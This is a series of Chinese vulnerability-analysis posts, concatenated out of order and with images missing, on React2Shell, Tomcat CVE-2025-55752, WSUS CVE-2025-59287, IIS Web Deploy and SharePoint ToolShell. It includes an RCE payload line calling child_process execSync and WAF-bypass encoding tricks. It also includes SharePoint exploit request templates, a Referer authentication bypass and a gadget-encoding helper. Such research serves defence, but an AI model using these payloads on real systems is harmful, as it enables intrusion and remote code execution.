此时 response._formData.get 将变成 new Function 调用，参数为 _prefix 可控，因此可以触发任意代码执行 ：

Bypass WAF

命令回显与内存马

需要注意的是，上面测试用的 POC 直接打会进入阻塞状态，可以通过 throw 主动抛出异常来解决：

var res=process.mainModule.require('child_process').execSync('calc').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/login?test=${res};`});

构造 payload 实现命令回显和内存马，比如植入的内存马效果如下：

code encoding

尝试将植入的恶意 js 代码进行字符串编码、拼接等各种变形来绕过 WAF ，比如进行 base64 编码：

但如果只在代码执行层面进行变形，实际的 payload 样式并没有本质变化，很难实现 Bypass。那如何构造更优雅的 payload 呢？下面分享几种方式。

unicode encoding

使用 unicode 编码将 json 中的一些敏感字符串进行编码：

utf16 encoding

此外，回顾上一篇文章的分析可知，解析 multipart/form-data 的过程是由 busboy 来完成的。调试发现 busboy 会通过 getDecoder 函数来提取 charset 对应的编码方式，然后对传递过来的数据包进行解码，并转发给 ReAct 进行后续处理：

比如，可以利用 utf16le 这种编码实现 Bypass ：

case 'utf16le':
case 'utf-16le':
case 'ucs2':
case 'ucs-2':
    return decoders.utf16le;

badcase: base64 encoding

从 getDecoder 函数实现看，还支持 base64 解码，但是测试发现无法正常解析，原因是 busboy 在处理 base64 时并不是解码，而是编码操作，从而导致利用过程中断，不知道算不算 busboy 的一个 issue ：

此外，前不久为了应对 React4Shell 攻击，Cloudflare 将缓冲区长度限制从 128KB 上调到 1MB ，由于处理不当导致出现了大规模宕机。这里就涉及一个大包 Bypass WAF 的技巧，具体实现可以去看 pyn3rd 徐师傅的分享，这里就不过多赘述：

修复方式

新版本对代码进行了多处更新，比如 getOutlinedModel 函数：

代码中还新增了多处 hasOwnProperty 检查，以消除原型链污染隐患，比如：

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。

发现 React2shell 漏洞的人真是太厉害了。目前漏洞 POC 已经公开，但是网上关于该漏洞的分析充满了各种 AI 味，为了深入理解漏洞原理，我还是坚持做一下纯手工调试分析。

实话说自己对新版本 JS 的一些语法糖也不熟悉，因此还需要不断学习。接下来一段时间，我将从漏洞触发原理、利用方法、WAF绕过等多个维度进行分享。今天先分析其中最基础的部分--解析请求如何触发反序列化流程？并尝试回答以下几个问题：

• • 为什么必须是 POST 请求？

• • 为什么必须有 next-action 头？

• • 为什么必须是 multipart/form-data 请求？

在 React 中，renderToHTMLOrFlightImpl 函数负责完成 html 渲染输出，当 http 请求经过其进行处理时，将进入 handleAction 来完成 action requests 处理，此时调用栈如下：

进入 handleAction后，首先会调用getServerActionRequestMetadata函数提取请求元数据。在getServerActionRequestMeatdata函数中，将尝试提取header中的next-action，如果存在且不等于0，返回的isFetchAction取值为true，同时如果Content-Type为multipart/form-data类型，返回值isMultiparAction取值为true ：

回到 handleAction 函数，在后续处理中存在如下判断，如果 isMultiparAction 和 isFetchAction 均为 true ，那么将引入 busboy 这个库来做 http 解析，这个库常用来处理 multipart/form-data 请求，与上面的判断条件一致：

在 decodeReplyFromBusboy 函数中会完成 Flight 反序列化操作，对于 field 类型的请求 (不包含 file 上传)将通过 resolveField 进行处理：

busboyStream.on("field", function (name, value) {
0 < pendingFiles
  ? queuedFields.push(name, value)
  : resolveField(response, name, value);
});

继续往下调试，在 initializeModelChunk 函数中将依次对请求参数进行 json 格式化处理，并进入 reviveModel 函数进行反序列化递归处理：

这其中需要重点关注被调用的 parseModelString 函数，对首字符是否为 $ 进行了判断，并根据第二个字符的取值采取不同的方式进行处理：

这里就涉及了原型链污染过程，我们留到下一篇继续分析。

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。

近日 Apache 公开披露了 Tomcat 中存在一个路径穿越漏洞 CVE-2025-55752 ，如果应用同时启用了 DefaultServlet PUT 可导致 RCE 。通过补丁对比和原理分析，文中不仅揭示了完整漏洞链，而且对官方提供的漏洞影响范围进行了修正，旨在提供更准确的安全威胁评估。

补丁对比

从公开信息看，产生漏洞的原因是对于 RewriteValve 规则进行处理时，存在逻辑问题。补丁对比如下：将 URL 归一化处理放到 URL 解码之后，看到这里漏洞的成因就非常清晰了。

漏洞分析

RewriteValve 继承了 ValveBase 抽象类，是 Tomcat 内部实现 URL 重写功能的组件。重写规则与 Apache httpd 的 mod_rewrite 类似，在 META-INF/context.xml 中配置启动 RewriteValve ：

<Context>
<ValveclassName="org.apache.catalina.valves.rewrite.RewriteValve" />
</Context>

然后新建 WEB-INF/rewrite.config并配置URL重写规则，重写指令与Apache httpd的mod_rewrite指令很像，尤其是核心的RewriteRule和RewriteCond。比如，下面的规则会检查URL查询字符串中是否包含name参数，然后精准匹配/file路径，并将URL重写为/[name参数值] 的形式：

RewriteCond %{QUERY_STRING} (^|&)name=([^&]+)
RewriteRule ^/file$ /%2

如果请求 /file?name=/WEB-INF/web.xml ，经过 RewriteValve 处理后将变为 //WEB-INF/web.xml, 然后 normalize 进行归一化后变为 /WEB-INF/web.xml ：

Tomcat 直接访问 /WEB-INF/web.xml 是不行的，原因是 pipeline 中的 StandardContextValve 会将以 /WEB-INF/ 这种敏感路径开头的请求进行屏蔽：

注意在 RewriteValve中进行归一化之前没有进行URL解码，因此如果更新为%2fWEB-INF的格式，归一化将不能去掉多余的/。Tomcat通过org.apache.catalina.connector.CoyoteAdapter启动ValveBase pipeline链，而RewriteValve优先StandardContextValve被执行，正好可以绕过StandardContextValve 中的检查：

调用栈如下：

成功访问 /WEB-INF/web.xml 的效果如下：

回顾公众号 CVE-2025-24813 的分析文章 CVE-2025-24813 Apache Tomcat 远程命令执行漏洞分析与总结 ，如果开启了 DefaultServlet PUT 功能，会将文件上传并保存，组合这个路径遍历漏洞可以实现 RCE 。

影响范围修正

当我切换到更早的 v9.0.65 版本时发现漏洞无法触发：

经分析找到问题出在 URLEncoder。注意RewriteValve在进行normalize归一化处理前，存在一个URL编码过程，但两者处理方式存在区别：v9.0.65使用默认的URLEncoder实例，因此%2f会变为%252f 。

publicvoidinvoke(Request request, Response response)throws IOException, ServletException {
...
  chunk.append(URLEncoder.DEFAULT.encode(urlStringDecoded, uriCharset));
  request.getCoyoteRequest().requestURI().toChars();
  urlStringDecoded = RequestUtil.normalize(urlStringDecoded);
...
}

而 v9.0.108中RewriteValve新定义了REWRITE_DEFAULT_ENCODER完成URL编码 ，该对象在static代码块中添加了%字符到safeCharacters中，导致%2f 编码时会保持不变。

publicvoidinvoke(Request request, Response response)throws IOException, ServletException {
...
  chunk.append(REWRITE_DEFAULT_ENCODER.encode(urlStringRewriteEncoded, uriCharset));
  urlStringRewriteEncoded = org.apache.tomcat.util.http.RequestUtil.normalize(urlStringRewriteEncoded);
...
}
...
static {
    REWRITE_DEFAULT_ENCODER = (URLEncoder)URLEncoder.DEFAULT.clone();
    REWRITE_DEFAULT_ENCODER.addSafeCharacter('%');
}

找到 commit 记录如下（Better handling of URLs with literal ';' and '?'）：

可见官方披露的漏洞影响版本有误，CVE-2025-55752 准确的影响版本如下：

• • 11.0.6 - 11.0.10

• • 10.1.39 - 10.1.44

• • 9.0.103 - 9.0.108

近期，微软 WSUS 服务披露了一个匿名 RCE 漏洞（CVE-2025-59287），因其高威胁性引发广泛关注。有朋友因为无法复现@我求助，刚好这个服务以前我关注过，也很好奇这个 CVSS 评分达到 9.8 的严重漏洞是如何触发的。根据公开信息该漏洞源于 BinaryFormatter 反序列化，原理并不复杂，那么坑究竟在哪里呢？

反序列化分析

WSUS 默认监听端口为 8530/8531 ，服务目录中存在多个 WSDL 服务，比如 /ClientWebService/Client.asmx ，解析该服务的请求格式，可以找到一个名为 GetCookie 的接口：

构造请求包顺利进入 GetCookie 函数，调用栈如下：

调试发现，要顺利到达反序列化调用点 EncryptionHelper.DecryptData ，需要提供合法的 protocolVersion 、PlugInId 等参数，此外在反序列化前还要进行解密操作，EncryptionHelper 中使用的是 AES 对称加密算法，因此还需要获取 key ：

为了知道上面的参数如何赋值，分析一下 WSUS 的配置，查看相关服务如下：

此外在注册表中也可以找到一些配置参数：

回到代码，经过分析发现， PlugInId 和 key 的值是通过 ExecuteSPGetConfiguration 函数从 SUSDB 数据库中完成读取的：

数据表 tbAuthorization 存储默认的 2 个 PluginID 配置，分别为 DssTargeting 和 SimpleTargeting ，对应的 AuthorizationData 也是固定的：

AuthorizationData 对应的就是加解密的 key 值，看起来似乎采用了硬编码：

那么触发反序列化的 payload 就很好构造了。

RCE复现

完整调用栈如下：

如果从 EncryptionHelper.DecryptData 反序列化作为起点开始做数据流分析，除了 /ClientWebService/Client.asmx 之外，还可以找到很多其他潜在的 WSDL 触发接口，这里就不深入分析了：

既然是 BinaryFormatter 反序列化，那么可以做成命令回显：

疑问

然而，就在以为大功告成时，一个意外却发生了：当我重新安装 WSUS 服务后，相同的 payload 便宣告失效。经分析，问题出在数据库内生成的 AuthorizationData 值发生了变化，导致反序列化前的 AES 解密失败。这指向一个关键问题：密钥难道是随机生成的吗？如果并非固定，那么这个漏洞的通用利用条件便不复存在。不知是否有师傅成功解决了这个问题？期待与大家交流。

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。

引言

IIS Web Deploy 是一个强大的工具和框架，用于简化 IIS Web 服务器的迁移、管理和部署。它能够轻松地将 ASP.NET 和其他类型的 Web 应用程序从一种环境（如开发机）同步到另一种环境（如测试、预生产或生产服务器）。

IIS Web Deploy 存在 BinaryFormatter 反序列化漏洞（ CVE-2025-53772 ），影响 4.0 < 10.0.2001 及更早版本。这是一个比较简单的 .NET 反序列化漏洞，适合拿来入门学习。下面将调试分析过程分享给大家。

漏洞环境

下载存在漏洞的版本，安装完毕后在 IIS 进行配置：

触发点

漏洞触发点位于 Base64EncodingHelper.DeserializeHelper ，这里对序列化数据进行了 GZip 压缩：

反向搜索，可以找到 DeploymentAgentHandler （继承于 IHttpHandler 接口）的 BeginProcessRequest 函数，以及 WDAgent （继承于 ServiceBase 服务接口）：

以 WDAgent 为例，其作为代理绑定了 /MSDEPLOYAGENTSERVICE 路径：

string text2 = "http://+:80/MSDEPLOYAGENTSERVICE/";

调用栈调试

下面需要确认参数是否可控。进入 WDAgent.BeginProcessRequest ，一直往下走将调用 DeploymentAgent.HandleRequest ：

往下走进入 HandleRequestWorker 函数，内部存在多个判断，对于 POST 请求，提取 MSDeploy.Method 头为 AgentMethod.Sync 类型，将进入 DeploymentAgent.HandleSync 函数：

HandleSync 中通过对 MSDeploy.RequestId 、 Content-Type 、 MSDeploy.SyncOptions 请求头的判断，符合条件判断后将提取的 MSDeploy.SyncOptions 值传入 SerializationHelper.Deserialize 进行反序列化：

string requestId = workerRequest.RequestId;        //MSDeploy.RequestIdif (string.IsNullOrEmpty(requestId)){    throw new DeploymentException(Resources.AgentExpectingHeader, new object[] { "MSDeploy.RequestId" });}...string requestHeader = workerRequest.GetRequestHeader("Content-Type");        //Content-Typeif (!string.Equals(requestHeader, "application/msdeploy", StringComparison.OrdinalIgnoreCase)){    throw new DeploymentException(Resources.AgentBadRequestHeader, new object[] { "Content-Type", requestHeader, "application/msdeploy" });}string requestHeader2 = workerRequest.GetRequestHeader("MSDeploy.SyncOptions");    //MSDeploy.SyncOptionsif (string.IsNullOrEmpty(requestHeader2)){    throw new DeploymentException(Resources.AgentExpectingHeader, new object[] { "MSDeploy.SyncOptions" });}DeploymentSyncOptions deploymentSyncOptions = (DeploymentSyncOptions)SerializationHelper.Deserialize(requestHeader2); //反序列化

Deserialize 首先进行 Base64 解码，然后进行 GZip 解压缩处理，最终通过 BinaryFormatter 进行反序列化，这里没有进行任何限制与过滤，存在反序列化漏洞：

BinaryFormatter binaryFormatter = new BinaryFormatter();byte[] array = Convert.FromBase64String(str);object obj;try{    obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);}...//Base64EncodingHelper.DeserializeHelperusing (MemoryStream memoryStream = new MemoryStream(buffer)){    using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))    {        obj = formatter.Deserialize(gzipStream);    }}

漏洞复现

按照上面分析构造如下请求可触发 RCE ：

完整调用栈如下：

引言

近期微软修复了 Pwn2Own披露SharePoint一组被命名为ToolShell的系列漏洞，包括CVE-2025-49704、CVE-2025-49706、CVE-2025-53770、CVE-2025-53771，整个漏洞利用过程无需身份认证并且可以实现RCE。对ToolShell的分析过程比较波折，因为该漏洞公开的影响版本信息不太准确。研究发现该漏洞对SharePoint版本有一定要求，最后在打上一些补丁后才成功，不知道有没有人遇到过这个问题。

当前该漏洞利用链的公开信息比较杂乱， CVE-2025-53770 和 CVE-2025-53771 可以看成是对 CVE-2025-49704 和 CVE-2025-49706 修复补丁的绕过，经过分析发现这组漏洞也可以看成众多历史漏洞的延续。下面将从漏洞原理对 ToolShell 利用链进行深入分析，并分享多种未公开的漏洞触发方式。

SPWebPartManager 操作 WebPart

分析前，我们首先对 SharePoint框架中WebPart这个特殊的组件进行分析。SharePoint通过界面可以定制共享视图中的WebPart，也可以定制个性化视图中的WebPart，主要利用SPWebPartManager类来创建WebPart组件， 该类继承了Control控件类，可以直接在aspx 页面中进行加载：

[AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
public sealed class SPWebPartManager : WebPartManager, IPostBackEventHandler    // [1] 父类 WebPartManager
...
[Bindable(false)]
[Designer("System.Web.UI.Design.WebControls.WebParts.WebPartManagerDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")]
[NonVisualControl]
[ParseChildren(true)]
[PersistChildren(false)]
[ViewStateModeById]
public class WebPartManager : Control, INamingContainer, IPersonalizable  //[2] 继承 Control 控件类
...

在 aspx 文件中搜索 SPWebPartManager 的调用点，比如 toolpane.aspx 中就引入了 SPWebPartManager ，这也是目前公开的漏洞触发页面：

构造认证请求 /_layouts/15/toolpane.aspx 可成功进入控件初始化完成事件的响应函数 OnPageInitComplete ，调用栈如下：

除了 toolpane.aspx 之外，还可以找到多个 aspx 文件中也引入了 SPWebPartManager ，同样可以触发上面的调用栈，比如：

/_layouts/15/toolpane.aspx
/_layouts/15/AddGallery.aspx
/_layouts/15/excelcellpicker.aspx
/_layouts/15/mtgredir.aspx
...

回到 OnPageInitComplete，其会调用ShowToolPaneIfNecessary，该函数会判断toolPane是否为空，那么如何完成toolPane的赋值呢？通过分析发现，在WebPartPage类的ToolPaneCreationAndInitialization函数中将利用CreateToolPane完成toolPane创建，但是需要displayMode取值不能为BrowseDisplayMode和DesignDisplayMode，但默认请求下取值为BrowseDisplayMode，无法触发CreateToolPane ：

WebPartDisplayMode 的取值范围如下：

public static readonly WebPartDisplayMode CatalogDisplayMode = new WebPartManager.CatalogWebPartDisplayMode();
public static readonly WebPartDisplayMode ConnectDisplayMode = new WebPartManager.ConnectWebPartDisplayMode();
public static readonly WebPartDisplayMode DesignDisplayMode = new WebPartManager.DesignWebPartDisplayMode();
public static readonly WebPartDisplayMode EditDisplayMode = new WebPartManager.EditWebPartDisplayMode();
public static readonly WebPartDisplayMode BrowseDisplayMode = new WebPartManager.BrowseWebPartDisplayMode();

寻找到 displayMode的赋值位于GetDisplayMode函数，里面存在多种赋值方式，比如当表单请求参数MSOSPWebPartManager_DisplayModeName为edit时，获取的displayMode值为EditWebPartPartDisplayMode，可满足上面的if判断并创建toolPane ：

请求示例如下：

POST /_layouts/15/AddGallery.aspx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
MSOSPWebPartManager_DisplayModeName=Edit ...

此外，还存在其他赋值 displayMode 的方法，比如内部调用了 HasValidUrlDisplayModeParam ，该函数中可以通过请求参数 DisplayMode 来进行赋值，这也是目前公开的触发方法：

GET /_layouts/15/AddGallery.aspx?DisplayMode=Edit HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
...

回到 ShowToolPaneIfNecessary 函数，此时 toolPane 非空并且 DisplayMode 取值为 EditDisplayMode ，因此会尝试读取 toolPane 对象的属性 SelectedAspWebPart 来获取 WebPart 实例：

在 SelectedAspWebPart 属性中，除了判断上面分析的 DisplayMode 参数外，还会判断 InCustomToolPane 的取值：

InCustomToolPane 来自于 CheckForCustomToolpane 函数，只需要保证请求路径以 /ToolPane.aspx 结尾即可：

请求换成 ToolPane.aspx 可满足条件，此外在 URL 末尾增加一个 /ToolPane.aspx 也可以满足，比如：

/_layouts/15/AddGallery.aspx?/ToolPane.aspx

继续往下走，将进入 GetPartPreviewAndPropertiesFromMarkup函数，SharePoint的WebPartPagesWebService服务（/_vti_bin/WebPartPages.asmx）在历史上爆出的多个漏洞也会触发该函数，比如CVE-2020–16951、CVE-2021-31181等等。注意函数输入参数webPartMarkup来自于表单参数MSOTlPn_DWP，函数内将根据该值来创建WebPart 组件：

MarkupProperties partPreviewAndPropertiesFromMarkup = ToolPane.GetPartPreviewAndPropertiesFromMarkup(this.frontPageUri, SPRequestParameterUtility.GetValue<string>(this.Page.Request, "MSOTlPn_DWP", SPRequestParameterSource.Form), false, this.SPWebPartManager, this.SPWebPartManager.Web, MarkupOption.None, false, false, ref this.frontPageWebPart, ref this.frontPageMarkupStorageKey, ref this.frontPageZoneId, ref this.frontPageWebPartImporter, ref this.frontPageRegisterDirectiveList, ref this.frontPageServerDocumentDesigner, false);

后续利用 CreateAndInitializeDocumentDesigner 函数来创建 documentDesigner 对象，需要注意的是该函数的第一个输入参数为 pageUri.AbsolutePath ，默认请求下 pageUri 为空会导致出现异常：

往上看发现 pageUri 来自于表单参数 MSOTlPn_Uri ，并且在后续处理中还会利用 GetProjectItemFromUrl 来获取 IServerWebProjectItem 对象，此处对 url 格式有一定要求（比如 /_controltemplates/15/AclEditor.ascx ）：

string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "MSOTlPn_Uri", SPRequestParameterSource.Form);
if (value != null && value.Length > 0)
{
    this.frontPageUri = new Uri(value);
}
...
if (url.StartsWith("_controltemplates/", StringComparison.OrdinalIgnoreCase) && url.EndsWith(".ascx"))
{
    string text = HttpContext.Current.Server.MapPath("/" + url);
    if (File.Exists(text))
    {
        return new ServerWebFileFromFileSystem(url, text);
    }
}
return null;

因此，构造如下格式的请求可以创建 WebPart 控件：

POST /_layouts/15/AddGallery.aspx?/ToolPane.aspx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
MSOSPWebPartManager_DisplayModeName=Edit&MSOTlPn_Uri={{urlenc(http://test/_controltemplates/15/AclEditor.ascx)}}&MSOTlPn_DWP={{urlenc(...)}}

反序列化漏洞

SharePoint 历史上披露的很多漏洞都与 WebPart 控件的创建有关，比如 CVE-2021-31181 。此次 CVE-2025-49704 其实就是找到了一个新的利用链。

ToolPane 使用ElementDesiger来解析WebPart控件脚本。在ASP.NET程序中，底层是通过TemplateParser将输入字符串分析为Web窗体页或用户控件上的对象。历史上曾经有漏洞就是利用TemplateParser来实现RCE的，比如CVE-2023-35813。CVE-2025-49704公开的POC尝试通过ElementDesiger解析UpdateProgress服务器控件中的ProgressTemplate属性来触发TemplateParser 解析：

<asp:UpdateProgress ID="Update" DisplayAfter="1"
runat="server">
<ProgressTemplate>
  <div>
    ...
  </div>
</ProgressTemplate>
</asp:UpdateProgress>

漏洞触发的类型为 ExcelDataSet ，里面存在一个名为 DataTable 的可读写属性，在 get 中将调用 GetObjectFromCompressedBase64String 函数从字符串参数 compressedDataTable 中获取 dataTable 对象：

GetObjectFromCompressedBase64String 函数中在完成 base64 解码和 GZipStream 解压缩处理后，调用 BinarySerialization.Deserialize 进行反序列化：

需要注意的是，此处的 binaryFormatter 反序列化进行了类型绑定和 DataSetSurrogateSelector 验证。合法可利用的 Type 被限制为 DataSet 或者 DataTable ，同时 DataSetSurrogateSelector 中涉及的 DataType 等取值如果不符合设定也无法通过验证：

internal LimitingBinder(IEnumerable<Type> extraTypes)
{
    this._allowedTypeMap = new TypeMap();
    this._allowedTypeMap.Add(typeof(DataSet));
    this._allowedTypeMap.Add(typeof(DataTable));
    this._allowedTypeMap.Add(typeof(SchemaSerializationMode));
    this._allowedTypeMap.Add(typeof(Version));
    ...
private void ValidateXml(XDocument document)
{
    foreach (XElement xelement in document.Descendants())
    {
        foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName))
        {
            this.ValidateTypeIsAllowed(xattribute.Value);
        }
        foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName))
        {
            this.ValidateTypeIsAllowed(xattribute2.Value);
        }
        foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName))
        {
            this.ValidateExpressionIsAllowed(xattribute3.Value);
        }
    }
}
...
// Token: 0x0400002B RID: 43
internal static readonly XName MSD_DATATYPE_XName = XName.Get("DataType", "urn:schemas-microsoft-com:xml-msdata");
// Token: 0x0400002C RID: 44
internal static readonly XName MSD_EXPRESSION_XName = XName.Get("Expression", "urn:schemas-microsoft-com:xml-msdata");
// Token: 0x0400002D RID: 45
internal static readonly XName MSD_INSTANCETYPE_XName = XName.Get("InstanceType", "urn:schemas-microsoft-com:xml-msdata");

可以构造特定的 gadget 来满足上述要求，此外还需进行压缩及 base64 编码处理，辅助代码如下：

using System;
using System.IO;
using System.IO.Compression;
using System.Text;
namespace CVE_2025_49704
{
    internal class Program
    {
        public static void Main(string[] args)
        {
            byte[] payload_bytes = File.ReadAllBytes("gadget.ser");
            byte[] compressedBytes;
            using (var memoryStream = new MemoryStream())
            {
                using (var gzipStream = new GZipStream(memoryStream, CompressionMode.Compress, leaveOpen: true))
                {
                    gzipStream.Write(payload_bytes, 0, payload_bytes.Length);
                }
                
                compressedBytes = memoryStream.ToArray();
            }
            
            string base64Result = Convert.ToBase64String(compressedBytes);
            Console.WriteLine(base64Result);
        }
    }
}

构造特定请求即可触发 RCE ：

认证绕过漏洞

上述漏洞利用过程必须通过认证，完成 RCE后我们再来分析一下这里的认证过程。对于SharePoint这种大型WebForm程序，可以借助日志帮我们快速定位处理代码，在日志中看到了熟悉的SPRequestModule类（分析过Exchange历史漏洞应该熟悉这个类），该类继承了IHttpModule接口，功能相当于Java Filter，是一种用于处理HTTP 请求和响应的全局拦截机制：

SPRequestModule 类在 Init 中对请求处理事件进行了绑定：

调试分析可知，返回 401 的判断过程通过 SPUtility.SendAccessDeniedHeader 完成，进入未授权的判断需要 flag7 或者 flag6 的取值满足一定条件：

向上搜索 flag6 和 flag7 赋值过程发现如下代码：当满足 if 中的判断时，可以将 flag6 赋值为 false ，flag7 赋值为 true ，刚好可以避开前面的认证检查：

try
{
    uri2 = context.Request.UrlReferrer;
}
catch (UriFormatException)
{
}
if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri2 != null && (SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))))
{
    flag6 = false;
    flag7 = true;
}

部分 URL 无需进行认证，比如：

• • /_layouts/start.aspx ；

• • /_layouts/SignOut.aspx ；

• • ...

对于其他不满足条件的 URL 请求，当 Referer 值等于 /_layouts/SignOut.aspx 或者 /_layouts/15/SignOut.aspx 时，也可以不认证：

(uri2 != null && (SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot) || 
SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious) || 
SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))

设置特定 Referer 头可绕过认证：

与反序列化漏洞组合使用，构建了一条匿名 RCE 漏洞利用链。做成命令回显的效果如下：

补丁绕过分析

针对 CVE-2025-49706 认证绕过漏洞，微软官方最初的修复方式是在 PostAuthenticateRequestHandler 中增加了对 Request.Path 的检查，判断其是否以 ToolPane.aspx 结尾。这种修复方式存在问题（对应漏洞 CVE-2025-53771 ），比如我们上面分析中使用的 URL 就可以绕过：